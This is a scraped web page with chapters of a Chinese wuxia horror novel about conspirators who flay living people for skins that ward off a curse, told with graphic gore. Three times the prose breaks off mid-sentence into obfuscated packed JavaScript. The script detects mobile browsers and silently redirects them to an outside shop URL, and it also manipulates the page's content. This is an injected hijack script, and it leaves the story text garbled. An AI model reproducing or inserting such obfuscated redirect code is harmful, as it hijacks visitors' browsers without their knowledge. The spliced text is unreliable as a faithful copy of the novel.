“如何不见光?”已经披上一张清秀少年皮的澄明从旁轻笑经过,他抬起手摸向自己,指腹细细摩挲着自己这张新皮,语气轻佻得近乎残忍,“换张新皮便是,反正这世上,最不缺的就是人。若是这个不行,那就再杀一个,总有能行的时候。” 他身侧还坐着一个始终未摘下长衣黑袍的男子,那男子静默不动,但掩藏在衣袖下的五指早已将檀木椅子抓出了数条爪痕。 “呐,李源知。”澄明落座在黑袍男子身侧,微微侧脸过去笑意里满是轻蔑,“你不要试试吗?,这可是你提供的好点子。披上一张新的人皮,将那人不人鬼不鬼的肉身阻隔在外,多绝妙的法子,正好能规避噬心蛊的诅咒。” 李源知沉默不语,兜帽下的唇紧紧抿成了一条细线,唇色惨白如纸。 他是提出的这样的法子不错!可他不过是想用浊血之秘密交换了种下噬心蛊的机会而已,他也未能料到那仙气出尘的道士竟是个如此心狠手辣的角色! “殿下。”何彦飞适时开口,脸上依旧是那般温和柔缓,但语气中却带着不容置喙的强硬,“还请您务必小心。这张皮,毕竟是从活人身上扒下来的,它只能短暂遮住阳光,日子一久,还是会被蛊虫的吐出的虫丝吸干同化,最终失去效力。” “那我岂不是要每隔一段时日便要换皮?”澄明的脸色瞬间暗了下来,显然不悦。 可这不悦不过一瞬,他很快便又舒展开眉头,眼底泛着浓烈的笑意:“无妨,反正那些人生来就是供我驱使的。能为我换皮尽忠,也算是他们的荣幸。” 场内一时寂静,唯有李源知周身如坠冰窟,黑袍下的五指抓得更紧,烂肉撕裂,手指几乎要嵌进木头里! 怎会如此! “关于李公子所说的‘浊血’一事,这些时日我也稍微实验了一番。”何彦飞声色虽平静,但仍能够从语气中感觉到一丝失落。他倾身问道:“水牢里那些尸人,无论往他们的身体里灌注多少浊血,都没有任何反应……李公子确定这件事吗?” 李源知心中的一根弦猛然绷断,浑身猛地一颤。 何彦飞淡淡的目光从他身上扫过,将一切尽收眼底。 只听李源知强行压抑着声音,道:“当年鬼观音走火入魔,屠杀我一十六门之事,此事江湖皆知……” “确实如此,她一夜杀光两百余人……属实心狠手辣,人尽皆知。”何彦飞附和,语气平淡。 堂上其余人静听不言,厅堂中的檀香袅袅,满室戾气顿生。 刘天承道:“她当时走火入魔?我只知她吸干了霍洋的毕生功力,直接一跃武林之巅!” 李源知面上青光一闪,心中愤恨难忍,怒火翻腾,几乎快要冲破了胸口。 他哽咽道:“那一日,本以为只是一场普通的决斗,武林之中的一较高下而已,可谁知她与家父的比试到一半时,家中无数女眷家仆却忽然冲入场中……” 说到此处时,李源知明显哽咽,光是三言两语道不尽血海深仇,却能搅得他心中五脏六腑都在疼:“紧接着便是失去理智的家仆被尽数杀死,此人毫不留情,待她将数十个家仆全部杀光后……便已走火入魔。” “听你所言,鬼观音杀人之时,你家中的家仆也早已失去理智?”澄明适时反问,眉眼间依旧带着轻蔑,“该不会是你们家里提前用了噬心蛊吧?不然谁知道浊血就是从种了噬心蛊的失败品中提取出来的呢?” “你!”李源知愤然起身,又被刘天承一道目光压下。 他的兜帽滑落,露出一张溃烂的脸来,咬牙切齿道,“休要辱我家父家母和众多叔母名誉!” 澄明见他情绪崩溃,脸上溃烂的皮肉也随着身体的发抖而颤抖,斑斓血痕顺流而下。澄明便也收了心思,不再继续言语。不管之前有什么分歧隔阂,此时他们是拴在同一根绳上的蚂蚱——他们必须得到观音血。 恰在此时,何彦飞也上来劝和:“料想应是你的家父家母提前查过许多资料,血仙虫虽然罕有,但也并不是完全没有着落。” 血仙虫何物?乃是灵帝化羽飞升之灵物,玄女亲赐血肉。 是比噬心蛊更为高阶和稀有的存在。噬心蛊充其量也是前朝灭亡后,后人企图复刻长生的粗劣赝品罢了。 “事到如今,我们也只有将那些尸人全部埋伏在空庭之中,待鬼观音来到以后,再来个瓮中捉鳖!”刘天承眼中闪过一抹狠厉。 他豁然起身,朝身后众人喝道:“你们都跟我过来。” 何彦飞率先起身,众人紧接着跟后而上。 刘天承苦受噬心蛊之毒多年,虽然也依靠蛊虫之毒勉强长命,但活得不人不鬼,不死不活,毫无尊严与意义。 而他所做的这一切,只求能够坐上皇位成为第二个受玄女赐福之人! “鬼观音何人?她武功高强,又不惧日光,岂会坐以待毙?”李源知愤愤不平。 “那就让她坐以待毙!我们再来个瓮中捉鳖!”澄明似乎颇有自信,“我们用卓血布下了天罗地网,再抓个鱼饵过来!对!就是她!原湘湘……她,抓住她!此人在奉国寺时就多番被鬼观音保护。” 澄明眼中精光大放,他可忘不了原湘湘。 “可她跳进火海了。”李源知冷哼一声,他既不满原湘湘也痛恨成名的所作所为。 “你觉得鬼观音会死?还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16970396|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是会轻易让那个原湘湘死?两个都不会死!此人不顾一切跟着鬼观音跳进火海,要说她们二人之间没点关系,我断然是不信的。”澄明反唇相讥,语气笃定,“我可是亲眼看着鬼观音为她挡下金钗的!本来我都要把金钗刺进她的眼珠子了!” 澄明在旁失控,李源知听他这番言语,方才回忆到,那时他和小玉齐攻而下时,原湘湘却突然蹦了出来,手持一把不知名的厉害短刀,将鬼观音死死护在身后。 那时她似乎还说了一句“我的观音……”彼时情况紧急,他全没在意。 现在仔细回想,当时原湘湘与裴玉珠决裂后,身受重伤的鬼观音似乎是牵住了原湘湘的手,亲自用原湘湘的手抵在她的胸口,随后一股强劲的内劲爆开,鬼观音看似被原湘湘一掌轰出! “好哇好哇!”李源知突然一笑,那笑容中确掺杂着冷笑自嘲。 此刻,他只恨自己眼瞎!为何当时没能细想这些细节!否则裴玉珠的仇也不至于要等到此刻还不能大仇得报! 澄明看着李源知露出这样的笑容,心下了然,便笑问道:“你也终于想起来了吗?终于肯相信我了吗?那个原湘湘绝对不一般!” 他那张清秀的新面皮,因为激动而微微扭曲,五官顿时狰狞起来。 “她和鬼观音绝对有私情!”澄明断言,“当时我手持孤鸿曾与她交过手,都说孤鸿削铁如泥,可她手中那边短刀竟然能与孤鸿平分秋色!” 澄明此言一出,众人齐齐注目不言。 良久,才听深处的黑暗里传来一阵低哑浑厚的男声:“……此世能造出如此神兵的人只有问剑生秦穆。” “您的意思是秦穆还没死?”刘天承猛然抬头,溃烂皮肉下的混浊双眼竟然射出缕缕精光,他失声大笑,“那就是问剑生还没死!哈哈哈哈!天不绝我!老天不绝我!!灵帝复苏有望了!!” “秦穆……”李源知低声呢喃,这个名字犹如一道惊雷在他的脑海中炸开。 “问剑生秦穆”此人名字一出,原本凄厉压抑的厅中不知为何,却慢慢多了几许活气。 何彦飞眉目间依旧淡然,他理了理自己的道袍衣摆,慢条斯理道:“如果秦穆真的还活着,那一切都解释得通了。” 刘天承接过话头,继续道:“此人天纵奇才,性子却又是一等一的狂傲不羁。当年,他为得灵帝厚爱,可是亲自锻造了神兵鸿鹄引进献……此人很快便倒戈相向,将一朝皇亲贵族屠了个全尽!” 说着说着,刘天承竟然笑了起来,眼中泛着贪婪而愉悦的寒光。 “最后死在了天外之天的飞星坠火里。”澄明眯起眼睛,愤然分析道,“他确实死的诡异,又死的太快。” 前朝末年,自灵帝鹤发变青丝后,宫廷中便掀起来一场狂热的长生之风。无数皇亲贵族、高官诸侯都削尖了脑袋凑到灵帝身边,只为能得到这位帝王的“血赐”,以求长生。 “医圣素衔,得灵帝血赐之人,同时又是秦穆的发妻……说是他们夫妇二人一同死在了那场天火之中。”何彦飞淡定道,“这样看来,问剑生秦穆和医圣素衔都还活着。” “只要我们能活捉那个原湘湘。”澄明勾起嘴角笑意更盛,“届时再从她的嘴巴里问出秦穆的下落,还愁不知道三分剑鞘和灵帝墓的全部下落?” “那依你看,这个原湘湘和秦穆是什么关系?”李源知颇有几分明知故问的意思。 “从年龄上推算,问剑生秦穆和医圣素衔如果真的从天外之天逃了出去,此后一二十年,育有一女也不无可能!”刘天承放声笑出,眼中的贪婪愉悦几乎就像那沸腾的水一般。 ——满溢而出的灼人滚烫。 ——触手可及的长生不死。 ——近在眼前的皇权帝位。 刘天承那时虽并未见过问剑生秦穆本人,但一直心随朝野的他,耳中却始终充斥着秦穆的传闻。 此人单凭一身武功和一柄剑便能得到灵帝青眼相加,凭什么? “活捉原湘湘,敲出秦穆下落!三分剑鞘?鬼观音,孤鸿,灵帝墓——皆在我手!” 横水长楼上空回荡着刘天承愉悦癫狂的笑声,风声穿堂而过,呜呜作响,仿佛万鬼齐鸣;人影招摇,更似群魔乱舞。 “那就布网吧。”何彦飞依旧温柔和煦,此刻他的嘴角微微勾起,眼尾露出些许岁月的痕迹来。 “这一次,我一定不会让她活着走出临安城!”澄明那崭新的面皮顿时沁出一片红,咬牙切齿道,“杀父之仇……原湘湘,我一定会亲手得到你的心!” 55.血蛊蚀心新皮覆旧魂 银光乍闪而过,鲜红应声落下。 啪嗒——啪嗒——啪嗒啪嗒—— 最开始是像暴雨来临前的豆大雨滴砸落,迅速隐没黑暗;随后便是如同岩浆一般的炽热滚落,在浓黑的地面上慢慢汇聚成一滩滩刺目的猩红。 迅速撑满瞳孔,如花绽放。 刹那间,呻吟、哀嚎、痛哭——声声迭起,又戛然而止。 腥风穿堂而过,满壁宫灯明灭不定,似一双双野兽眼睛一般死死盯着此处。 偌大的黑色空间里,四周皆是浓黑,唯有许多生了锈迹的铁笼,刑具等摆放其中。 泛着水光的铁链像那娇美女子的乌发一般,从顶部倾泻而下,垂垂落在地面之上,浸在满地潮湿中,只剩一颗孤零零的头颅。 房间的中央,横陈一张木床,床的周围摆放着规整的木架,木架子上放着许许多多的大小不一的刀刃。 那木床上的白布早已被鲜血湿透,大片大片的浓稠血块凝固在木床之上,又在地上汇聚长一滩滩水洼。 不多时,只听阵阵哗哗作响,似乎是清泉流水,欢快而生动,汩汩流动,却又夹杂着微弱的、濒死的喘息。 直至喘息彻底消失时,哗哗血流声也戛然而止。 秘室顶部的房间顶部挂着巨大的烛火,烛火荧荧,照彻一方天地。 趁着那烛火光亮,可以看见一个身着紫纱道袍的道士静静伫立在血床旁。 他的眉目淡然如烟,眼帘微垂,手里却忙活不定,刀光起落,似是写字弹琴那般优雅利落,每一次挥刀 ,都会有更微弱的呻吟裹挟着流血声泄出。 待他手中刀光停下时,那道士脸上才浮现出一丝笑意。他缓缓抬眸,眼底依旧那般淡然如烟。 刀刃划过,从后开背,騞騞作响,皮肉瞬间分离,鲜红色的软肉当即暴露在腥冷的空气中。 紫色的轻纱外衫如同蝶翼一般展开,道士伸展着修长的手臂,指尖轻捻——他的两只手中各自捏着一只鲜红的、柔软的人指,随着他的臂膀张开,一张完整而新鲜的人皮正在他的怀中慢慢舒展开—— 那张带着血迹,微微透明,薄如蝉翼的泛着朦胧血色的巨大人皮,与他十指相扣,共同沐浴在烛火之下,仿若一对神仙爱侣。 朦胧而柔韧的新皮上还保留着些许体温,因这温度还未彻底消散,那丝丝缕缕的红血,便像墨一般融化开来。 他垂眸凝视着这张刚刚剥下来人皮,淡然的眼神中透着丝丝喜悦,仿佛正在欣赏一幅山水名卷一般。 这道士正是何彦飞。此刻,他的心中天翻地覆,喜悦非常! 长生不死?岂会有这么简单的法子来实现?他遍查资料,四处奔波,无外乎才得知一点点秘辛而已。 被希望凝视而生的孩子——藏生门中的所有孩子都会被切开鲜嫩的皮肉和血管,在无垠的痛苦和恐惧中,静待鲜红流出。 所有的孩子都会死亡,他们此生只能害怕这一次。但唯有一个孩子例外,因为那是尸人所产之子。 但藏生门说,尸人是无法拥有后代的。 前有藏生门曾用幼儿血肉熔炼丹药,又因幼儿放血即死,天底下又从哪里来那么多的稚子孩童?藏生门一时之间不得已作罢。 后来,藏生门偶然得一尸人所产之子,这尸人之子即便千刀万剐,也能依靠吃肉喝血慢慢回复。 最关键的是,那尸人之子,似乎受母体的诅咒影响,生长极为缓慢,永远长不大。 如此,若能让尸人产子,不就拥取之不尽,用之不竭的稚子血肉了吗?! 何彦飞想到此处,嘴角不禁微微弯起,露出一抹极为轻蔑的笑意,道:“藏生门能找出尸人无法自然繁衍的秘密,而我何彦飞也能证明生人之皮可以阻隔日光,待找到问剑生,何愁长生不死?呵呵。” 说罢,何彦飞携着那张刚刚剥下来的人皮,转身去往另一处地方。 黑暗中,一面墙壁里慢慢打开,露出一间更为幽深的暗室。那暗室中修建有一口血池,血池中正静静躺着一个苍老的男人。 那男人似乎在沉睡,他的身上布有大小不一的伤口,腐肉外翻,唯有心口正中央有一处一尺左右的刀口,那刀口里正在往外渗着丝丝脓液,颜色鲜艳如血。 皱缩的皮肉,花白的头发,凹陷的双眼和毫无弹性的躯体,浸泡在血池之中。 何彦飞将那剥下来的人皮轻轻覆在老年男子的身体上,轻声道:“刘大人,这便是在下为您寻得的壮年男子之皮,如此一来,起码有半月您无需再惧日光。” 何彦飞话音刚落,血池里赤裸的老年男子便猛然睁开双眼,凹下而浑浊的双眼放出精亮的光芒! 他接过那张新鲜的皮,眼中的贪婪已经压抑不住,喉间发出粗喘,像是轻动之时轻抚爱人身体的男子一般动情,难以自持。 “……只要抓住鬼观音,抓住她,抓住她!!”刘天承颤声道,他的喉咙粗哑,语气里满是偏执与急切。 他像是着了魔一般疯狂念着,慢慢地,那张人皮也就贴在了刘天承苍老的身躯之上,很快,一个慈眉善目,带着诡异微笑的壮年男子便赤裸出现在血池里。 刘天承有些难以置信,他痴迷地抚摸着这张新皮的全身,他能明显地感觉到当人皮和自己融为一体之时,那些溃烂的伤口瞬间就止住了疼痛。 如此功效,如此神速! “我一定要抓住她!找出问剑生的下落!”赤裸的中年男子缓缓起身,他虽然已经换上了另外一张脸可那眉目间的那股贪婪与急切,仍旧还是刘天承的样子。 何彦飞垂首,道:“谨遵大人之命,我一定会让她们自投罗网。” 观音血,灵帝墓,问剑生……一个也逃不掉。何彦飞始终垂下头颅,半垂的眼睫微晃动,嘴角勾起丝丝微笑。 他所有的夙愿与念想全都藏在那份谦恭的外皮之下。 血池里的刘天承已经缓缓走了出来,鲜红的血水顺着他的新皮滑落,更显年轻激昂。 他非常满意这张崭新的、年轻的外皮,看着那手上的细微纹路,指尖轻抚全身,那细腻的新鲜的有力的质感和温度,他的心中竟然慢慢涌起一股热意。 一瞬间,他几乎快要流出眼泪来!狂喜,悲伤,喜悦,悲凉——交缠汹涌,差点决堤而出! 多少年了,多少年了,自己受困在那腐烂的,苍老的身体之中到底多少年了! 不知多少个日日夜夜,他被无止尽的疼痛与永不停歇的腐烂缠身,那些诅咒的折磨,那些不得见光的痛苦,活生生变成不人不鬼的怪物! “我遇到你,实属幸事。”刘天承回身看着何彦飞,一瞬间无数情感蜂拥而至,压得他几乎喘不过气来。 他四十多岁才得了一个小官,耐住了多少寂寞困苦,忍过了多少白眼嘲讽,终于来到临安首府身边。只可惜,还未兢兢业业干上几年,便突然天降异变,举国求仙,上至高官诸侯,下至平民百姓,无不信奉玄女,以求长生。 可是……可是……这世上哪有那么好的事呢? 死亡,溃烂,疯癫,腐败……瘟疫,暴乱……接连而至。 可那时,他已经没有回头路了,毕竟,种下了蛊虫,他的命就不再属于自己。 若想继续长生存活,便只能化身为鬼,吸食他人的生命血肉来维持自己的生命。 “大人,我方才观您心口处的伤口……”何彦飞欲言又止,似乎有什么难言之隐。 刘天承心中一沉,他似乎料到了什么一般,低向看像自己的心口处,那里的新皮果然已经坏了——鲜红的血口正在以肉眼可见的速度生长扩大。 鲜红的脓液破皮而出,已将新皮染得一片狼藉。 他只好用大手慢慢覆盖住那个口子,沉声道:“你说。” “方才,我见伤口已经有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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可若有人不忍心伤害他人来获取生命呢?那虫丝所及唯有中蛊者,噬心蛊会压榨并催产中蛊者的所有生机,青壮之年也能化为朽木老者,直到化成飞灰为止。 最后一次化茧,便是这蛊虫用尽宿主最后的精血,为自己的长眠做的准备,以求不死,再次轮回。 “关于那个和尚所说之事,你可有什么想法?”刘天承接过衣物穿上,心口那处伤口传来阵阵钝痛,就像无数细针反复在里面钻刺,让他不得不微微弓起后背。 一瞬间,新皮不得不随着他笨拙的动作皱缩起来,老态龙钟又回到了这具躯体里。 他痛苦地捂住心口,半晌无言。 “比起这件事,我还有一件更重要的事情要和大人您禀告。”何彦飞手执拂尘立在一旁,景观一切,淡淡的眼中仿佛对这一切都熟视无睹。 “但说无妨。”刘天承已穿好衣物,那因疼痛而痛苦的嗓音中带着几分沙哑。 “前些日子,寨子军来报,有个年轻男人一路打了进去,不近屠了我的人,还破了我的阵法。”何彦飞淡定道,“大人换皮这几日一直在血池养伤,故未来得及向您禀告——那男子似乎口中叫嚣着要大人您去见他。” 刘天承不屑一顾,道:“真是什么阿猫阿狗都来了。” “大人,那人直说了他就是新朝特使,奉旨求见。” 刘天承疑惑不解:就这种言行举止也能做特使?不过,能破了何彦飞的阵法又掀了寨子军,确实有点本事。 “左右一个特使,若真的有什么本事,再把他放下来当饵料也不无不可。”刘天承笑道,“我是说,就像这样。” 他猛然走向那具被剥了皮的尸体,将那尸体下方的血布陡然用力一甩,那血淋淋的尸体便横飞出去,刘天承当即抓破自己的左臂,刹那间,从他破损的左臂中蔓延而出的鲜血里,慢慢浮现出一朵如云似雾的红云。 “我正好帮何天师试试这炼皮的法子还有没有别的妙用!”刘天承无声笑着,他左臂陡然发力,将那伤口中的血雾甩向了无皮裸尸的方向,顿时就见那团红云化作万千纤细的韧丝紧紧裹住尸体! 下一瞬,红丝猛然收紧又爆开,裸尸直接被抽成人干! 56.路痴夜行临安探迷阵 “驾!驾!” 绿林小道上涌起一阵狂奔的马蹄声,两匹黑色的骏马在这不甚宽阔的窄路间疾驰,而马背上的年轻男子面色却越来越难看。 终于,在前方领路的白衣男子猛然拉住缰绳,勒得马儿惊恐长鸣,鼻孔里喷着混乱的热气。 “吁吁!吁吁!” 下一瞬,身后的黑衣男子也猛地收住缰绳,前蹄高扬,骏马人立而起。马背上那人堪堪停住,若不是反应及时,定要撞了个人仰马翻,措手不及,难以收场! 方玉堂立时跳下马背,劈手夺走柳折舟手里的地图,他冷冷扫了一眼,眼中火星乱蹦:“你这人……这样突然停住是不是想杀了我啊!” 柳折舟拧着眉,呵呵一笑:“自然不是。” 方玉堂觉得肺都要气炸了! 这个把他抓了又给他下毒的男子,前夜忽然来到客栈外,神秘兮兮地站在自己栖身的大树下,莫名说什么只要答应他的要求,帮他一个忙,就把解药还给自己。 他急着摆脱这个笑面夜叉,当下想也不想便答应了。 结果此人居然要他去假扮新朝皇帝特使,诈骗临安首府刘天承! “我就知你绝不简单。”方玉堂虽然后悔莫及,但更恨自己怎么问也不问就答应了。 可转念一想,这个柳折舟对他的事情了如指掌,恐怕从一开始,就打定主意拉自己下水。就算当时多留了个心眼,他也一定会有别的法子让自己就范。 比如那心花怒放丹的解药,就是最好的把柄。 方玉堂想到此处,长叹一声,认了命,谁要自己技不如人。 而眼下,他跟着柳折舟抄近路,跑着跑着就从近路跑到了某处不知名的小道上。 小道愈发狭窄,宽度也不过够一两人步行穿过,再看那路上杂乱的脚印,长满荒草的野田,树林……哪里像是有人烟的样子!? 方玉堂甫一夺回地图,径直两眼一黑:“你是路痴吗??告诉我!你是怎么对着地图抄近路还能越抄越远的?” ……这要柳折舟怎么开口?这绝对是他不会轻易说出口的,就算是原湘湘本人亲自来问……他默默在心中盘算着。 如果是湘湘亲自来问的话,那、那或许可以说一两句,还能顺便装可怜,博湘湘几分心软同情。 这才是他最喜欢做的。 他最是知道,自己只要装得软软的,可怜兮兮又隐忍难受的样子就好了。 他知道面上无波无澜的原湘湘最吃这一口,再说些软话…… 想到此处,他的心底泛出一股潮热,耳朵又不争气地红了。 来奉国寺时,他专门雇了马夫带路;后来马夫被杀,他就只会说“湘湘姑娘去哪里我就去哪里”。 虽然当时他对原湘湘有许多想法,但其中绝对有偷懒认路这最不值一提的一条。 如今湘湘不在,那便也没有装的必要了。 许是气氛尴尬,柳折舟刻意清了清嗓子,解释道:“不过是绕了一点,我们也能很快骑马过去。” 这是他的心里话。因为以往迷路时,他也不紧不慢地走,遇上路人便去礼貌相问,总归能慢慢走到目的地。 临安在地图的东南角,可他们现在却跑到了围绕临安城一圈的外山处。 方玉堂气得直发抖,骂道:“就你这还去临安城?你可别一头撞到别人家粪池里淹死!” 绕了远路,就意味着解药迟拿一天,迟拿一条就意味着他还要被多威胁一天!他现在只想立刻马上拿到解药走人! 哪里都比不上他在北山那个暖和和的家! 柳折舟面上肌肉突突直跳,他牵着马儿到一旁吃草,背对着方玉堂,从牙缝中挤出一句话来:“嗯,今日是三月二十三,也差不多有半个月了吧,方大侠。” 方玉堂捏着地图的手一紧,一个箭步跨上马鞍,修长健硕的长腿夹在马腹轻夹,当即将马儿调转方向。 他几乎是吼出来的:“求你了!快跟我走!办完事给我解药!” 柳折舟面色一凛,飞身上马,扯过缰绳,骏马长嘶,疾奔跟上。 这一回由方玉堂带路,二人纵马疾行两个多时辰,终于在暮色四合之际,从野山里走了出来。 此刻,他们正在通往临安的官道上,面面相觑,二人皆是灰头土脸的气喘吁吁。 方玉堂满心不快,心道:他这么急着去临安必然是什么要紧事,也不知给我解药到底真事假事,反正他和我有仇,也是个路痴,不如就偷偷动点手脚,耽搁他点时日,否则难消我心头之恨! 这么决定了以后,方玉堂的心情瞬间快活起来。 他再看向柳折舟之时,觉得柳折舟都顺眼了,不禁赞叹道:“也不怪姑娘对他心心念念,确实长了张招女子欢喜的脸……啊呸!我在胡说些什么!” 暮色渐起,野草萋萋,高树疯长,远山横劈斜插过,孤城背岭伏山卧,四顾无人,零落萧条。 曾经的江南经济中心,曾经的前朝繁华之地,早已在战乱之后不复往昔盛景。 黄昏悲风,尽在不言中。 看着眼前远景,柳折舟忽然忆起幼年之事,心下慨然:十年前和十年后差别究竟在哪里呢?是自己变了太多么? 不远处有一建筑物,二楼之上的幡旗在落日悲风里飘荡着:四海客栈。 他当即驾马过去,是一处小小的城镇。说是城镇,但更像是无数流民聚居之地。 只是在一片断壁残垣间,勉强搭建而起的栖身之所,虽然街镇小道犹在,却早已残破凋零,满目萧索。 战乱之后,人口巨减,再加之南方邪术横行,各州府官占山为王,各自为政,经年互相攻战,故而,民生凋敝,民不聊生。 死去的不计其数,活着的非残即老,唯有曾经的砖石瓦片尚在,给他们提供了苟延残喘之所。 长生五年,灵生帝在位第四十七年,有仙自西极乘夜踏风而来,帝率百官迎之。 长生六年,帝于会仙夜就寝,自此不复苏醒。 长生六年,冬末,寝殿外的文武群臣再见帝时,他已然和年轻时的模样别无二致。 帝喜而笑之曰:“吾生无涯,吾国无疆,与天地同在,与日月争辉!” 群臣跪拜,齐呼万岁。 此后,从巍峨皇宫到旷野民间,山川湖海到乡间小道,无处不见大小庙宇。 据说,庙中就供奉着那位来自西方的仙人,能赐人不老不死,逆转乾坤,号曰“长生天”。 现在的断壁残垣中,依旧还保留有玄女庙的只砖片瓦。 柳折舟牵马过去,忽然身下一痛,低头一看,竟是一团小小黑影撞进了他的怀中。 他垂眸望着,便对上那双清亮却恐惧的眼睛——那孩子约摸五六岁年纪,面黄肌瘦,像一只无家可归的小兽。 柳折舟心中一空,站在原地没动,任凭那孩子跑了。 “你怎么不去追那个小孩?”方玉堂从后方追来,他见柳折舟许久没了声响,便担心此人故意丢了他,索性回头来找。 好巧不巧,正好撞见那小孩故意撞在柳折舟的怀里又顺手牵羊带走了他的玉佩。 他不信柳折舟感觉不到那孩子是个小偷。 “那玉佩也是个稀罕货啊。”方玉堂初见柳折舟时,他的腰间就坠着那枚芙蓉花玉佩。 柳折舟却像个没事人一般,拍拍衣襟,起身往客栈里走,淡淡然然“嗯”了一声。 那样小的孩子,那样惊恐畏惧的眼神……望见时,有那么一瞬间,他觉得自己一脚踩空跌下了万丈悬崖。 方玉堂看见他那慢悠悠的样子就来气,骂道:“你能不能长点心?迷路了不着急,被偷了不着急,有什么事你会着急?” 柳折舟立时停住脚步,一字一句,道:“我会急着杀人。” 那边话音才落,方玉堂就觉胸口传来阵痛,仿佛柳折舟看一眼,那毒就会发作!他只好捂着胸口的抽痛跟上。 “你这人……真是装到底了……”方玉堂侧过脸小声嘀咕道,“有钱就是了不起啊。” 方玉堂的身世,早年和刚刚偷玉佩的娃儿没两样。后来,他被神盗门的老师父捡回去,那个时候天下动荡,民不聊生,他的师门已经衰落的只剩下他和老师父。 老师父教了他很多本事:奇门遁甲,风水算命和偷钱做贼,跑路轻功,样样都是生活之必须。 其中,劫富济贫他做得很溜,算命也就一般,但是算人者绝不自算。 因此,他的老师父临死前给他的爱徒算了一卦:“玉堂,你命中有一朵金子做的桃花,命中注定的那个人是个脚底有颗大痣的富家千金,遇见她,就能入赘豪门!一生无忧!” 说完,老师父就咽了气,一点不给方玉堂质疑的机会。 孤零零的方玉堂,在后来的很多年里,看了许多女子的脚底板,招惹了很多女子的芳心后,某一天,他终于遇到了一个脚底有大痣的女子。 可他却不敢动弹了。 他突然意识到:怎么?师父是让我嫁给那个女子? 他抬头看看眼前那高高在上的女子,于是连滚带爬地逃了。 —— 入夜,两个一黑一白的人前后走着。 他们已朝着远山里的临安城走了很久,可始终走不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997635|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进山坳坳里去。那近在眼前的临安城,仿若沙漠中的海市蜃楼,只可远观。 “冒充朝廷命官也就罢了,居然还要扮成你的样子,你就不怕我趁机和姑娘生米煮成熟饭吗?”方玉堂气急败坏,把原湘湘搬出来刺激他,其实他真正想的是说“恶心死我了”。 方玉堂装模作样一身宽袍大袖的黑衣,背后负着一根被黑布裹得严实的物什。平日高高束起的马尾已经放了下来,他的长发绑成了柳折舟平日里那般,甚至脑袋后边还别了一根玉簪,这般像模像样真是让他不快活啊。 柳折舟面上笑笑不说话,扇子在手心里拍得直响:“湘湘……她不会对你有男女之情的。因此,这种话你最好不要再说第二次。” 她对我也不是那种喜欢。 说完,柳折舟脸上的失落更盛。 方玉堂立刻噤声,他也知道那两个人关系确实不一般,各种意义上的不一般。 “哼哼。”方玉堂清了清嗓子,爬上一个高坡,远望苍山和高城,拍着胸脯保证道道:“我绕着走了半夜,也看得差不多了!” 此时正值夜半时分,天山繁星点点,地上乌漆嘛黑。 柳折舟早就知道死城城外布有阵法作防护,不是寻常人能进去的,因此一早就在流民区停了下来。 方玉堂早就趁着溜达那会儿把临安周围看了个遍,所谓阵法,于他而言,还是小意思。 当下最重要的是,怎么让这个夜叉吃瘪!他的心在滴溜溜地转,眼珠子也像只耗子似的来回乱窜。 末了,方玉堂有了个主意,总之,他越急,自己就越要拖着他。 “你看那边。”方玉堂伸手指向远山中的一片灯火通明之处,“看见没?驻扎在城外的寨子军,刘天承最忠诚的爪牙,烧杀抢掠,无恶不作。” “我的那一群妹妹们,若不是我神通广大,便早被刘天承抓去炼药了。”说完,他猛拍大腿一巴掌。 柳折舟心念一动,又看着方玉堂,似乎不解:“你想说什么?” “你可知这护城大阵为何如此厉害?都是因为阵眼就是寨子军!” 柳折舟想到北山的雾林五行阵,方玉堂也是被北山上的宅邸作为阵眼的。他道:“破了阵眼便可以找到进城的路吗?” “自然如此。” 方玉堂其实就是瞎说,他只是想拖延时间,看看柳折舟忙的急事变成慢事,究竟会有什么结果罢了。 “我知道了。”柳折舟看看天色,便道,“你先回去吧,等我消息。” 方玉堂悻悻:“啊?” 方玉堂也不知自己是何时醒过来的。 他回到流民区,又跑到四海客栈的小老板那里买了些酒,一个人窝在马棚里自斟自饮,独自神伤。 想他方玉堂一个堂堂男子汉,怎么就这么被人捏住了七寸!莫非,就是因为自己放过了那朵命中注定的桃花,老天爷才惩罚自己的吗? 他“咕嘟”又是一口,想到此处,他心里便难受,那女子……又岂是自己一个江洋大盗能染指的? 酒入愁肠,化作相思泪,朦朦胧胧间,他便也睡去了。 再次苏醒时,耳边的嘈杂就像暴风雨般朝他扑面而来。 脸上确乎是砸满了雨水。方玉堂伸手抹了一把脸,掌心从上捋到下,触碰到鼻尖时,一股腥气冲得他头昏脑胀! “血!血!” 他顿时大叫起来,慌慌忙忙爬起身准备逃命,却见一道寒光顿时横在自己的脖子前。 那似水一般的剑光,悠悠从他脖颈前淌过,一个不小心,便会皮穿肉烂,血沫横飞。 方玉堂顺着剑刃的方向看过去,那是一柄似水如银般的优美长剑,剑心处残缺不全,剑柄处流光溢彩,似飞鸟和鸣。 剑刃纤薄一线,却又锋利无比。 他望过去,正好对上那张熟悉又陌生的脸。 “休要装神弄鬼,带我进去。”剑刃又递进半分。 